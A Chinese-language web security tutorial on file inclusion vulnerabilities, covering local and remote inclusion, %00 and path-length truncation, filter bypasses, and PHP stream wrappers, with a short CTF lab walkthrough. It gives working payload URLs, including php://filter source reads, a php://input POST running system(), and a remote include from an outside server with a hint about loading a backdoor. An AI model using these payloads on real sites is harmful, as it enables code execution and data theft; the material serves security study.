WEB漏洞-文件操作之文件包含漏洞全解

QQ截图20220207144154.jpg

文件包含漏洞原理简介

文件包含各个脚本代码

<!==#include file="1.asp"-->
<!==#include file="top.aspx"-->
<c:import url="http://thief.one/1.jsp">
<% include file="head.jsp"%>
<jsp:include page="head.jsp"/>
<?php include('test.php')?>

文件包含原理

  • 传递一个参数(可以是一个文件),然后PHP脚本包含这个文件,则无论这个文件是什么格式,访问PHP脚本,传递参数的文件都能以PHP格式执行

QQ截图20220208085814.jpg

  • PHP脚本路径下存在一个1.txt文件,访问PHP脚本并且传递1.txt文件为参数,发现txt文本的内容以PHP脚本格式执行

QQ截图20220208085904.jpg

QQ截图20220208085909.jpg

本地文件包含代码测试

无限制跨目录,包含其他目录下的文件

QQ截图20220208090039.jpg

有限制的文件包含,脚本中包含了其他字符串,直接执行会失败

QQ截图20220208090105.jpg

QQ截图20220208090215.jpg

可以利用%00进行截断

  • magic_quotes_gpc=off
  • php版本<5.3.4

QQ截图20220208090231.jpg

长度截断,通过垃圾数据来溢出字符串长度,windows长度需要256,linux长度需要4096

  • http://192.168.102.143:8888/test.php?filename2=1.txt./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
  • 超过文件命名256位,后面的HTML就没有被识别,而1.txt././被当成1.txt执行

QQ截图20220208090459.jpg

  • 直接加点也能绕过1.txt………………………………

QQ截图20220208090541.jpg

远程文件包含代码测试

在phpinfo中查看是否可以远程文件包含(allow_url_include这里关闭了)

QQ截图20220208090620.jpg

外网服务器上设置一个脚本,访问远程文件

QQ截图20220208090705.jpg

访问远程文件

  • http://192.168.102.143:8888/test.php?filename1=http://121.40.173.182:8888/2.txt(这里可以将phpinfo换成远程后门文件,然后用菜刀连接)

QQ截图20220208181309.png

远程有过滤的情况,直接访问报错

QQ截图20220208181358.png

#

QQ截图20220208181421.png

%20

QQ截图20220208181448.png

%23

QQ截图20220208181458.png

各种协议流提交流测试

cf591996d52e28b3a82b94167ece58e5.jpg

协议对于远程文件包含漏洞的利用条件

  • file:// : 访问本地文件系统
  • http:// : 只读访问 HTTP(s) 网址
  • ftp:// : 访问 FTP(s) URLs
  • php:// : 访问各个输入/输出流(I/O streams)(重点)

QQ截图20220208182541.png

  • zlib:// : 压缩流
  • data:// : 数据(RFC 2397)
  • glob:// : 查找匹配的文件路径模式
  • phar:// : PHP 归档
  • ssh2:// : Secure Shell 2
  • rar:// : RAR
  • ogg:// : 音频流
  • expect:// : 处理交互式的流

QQ截图20220208182601.png

php协议读取1.txt文件的源码(注意:PHP协议只能在PHP脚本适用)

  • http://192.168.102.143:8888/test.php?filename1=php://filter/read=convert.base64-encode/resource=1.txt
  • 在文件输入之前先过滤,读取过滤器内的内容,其中resource为要过滤的数据流。
  • base64加密原因:有时候读取由于编码方式的不同造成乱码,这里加密后,就不会乱码

QQ截图20220208182828.png

QQ截图20220208182839.png

以PHP格式执行文件

http://192.168.102.143:8888/test.php?filename1=php://input

POST
<?php system(ipconfig);?>
  • php://input可以读取没有处理过的POST数据。相较于$HTTP_RAW_POST_DATA而言,它给内存带来的压力较小,并且不需要特殊的php.ini设置。php://input不能用于enctype=multipart/form-data

QQ截图20220208183210.png

file协议读取文件内容(所有脚本都适用)

  • http://192.168.102.143:8888/test.php?filename1=file://C:/phpstudy/PHPTutorial/WWW/sqli-labs-master/1.txt
  • 这里txt文件以PHP脚本格式执行
  • file协议使用需要用到完整路径,依赖前期的信息收集

总结

伪协议常常用于文件包含漏洞之中,在php中能够造成文件包含的函数有

  • include : 可以放在PHP脚本的任意位置,一般放在流程控制的处理部分中。当PHP脚本执行到include指定引入的文件时,才将它包含并尝试执行。当第二次遇到相同文件时,PHP还是会重新解释一次
  • require : 一般放在PHP脚本的最前面,PHP执行前就会先读入require指定引入的文件,包含并尝试执行引入的脚本文件。require的工作方式是提高PHP的执行效率,当它在同一个网页中解释过一次后,第二次便不会解释
  • include_oncerequire_once : 分别与require / include作用相同,不同的是他们在执行到时会先检查目标内容是不是在之前已经导入过,如果导入过了,那么便不会再次重复引入其同样的内容
  • hightfile : 该函数通过使用 PHP 语法高亮程序中定义的颜色,输出或返回包含在 filename 中的代码的语法高亮版本
  • show_source : 该函数是highlight_file函数的别名
  • file_get_content : 把整个文件读入一个字符串中。和 file() 一样,不同的是 file_get_contents() 把文件读入一个字符串
  • file : 把整个文件读入一个数组中。与 file_get_contents() 类似,不同的是 file() 将文件作为一个数组返回。数组中的每个单元都是文件中相应的一行,包括换行符在内。如果失败,则返回 false

靶场

CTF-南邮靶场

QQ截图20220208192904.png

  • 点击链接后尝试改变大小写,发现对大小写敏感,确认为linux系统

QQ截图20220208193111.png

  • 直接访问show.php,确认为文件包含漏洞

QQ截图20220208193233.png

  • 尝试利用php协议来进行文件读取,获取解密后内容

QQ截图20220208193546.png

QQ截图20220208193616.png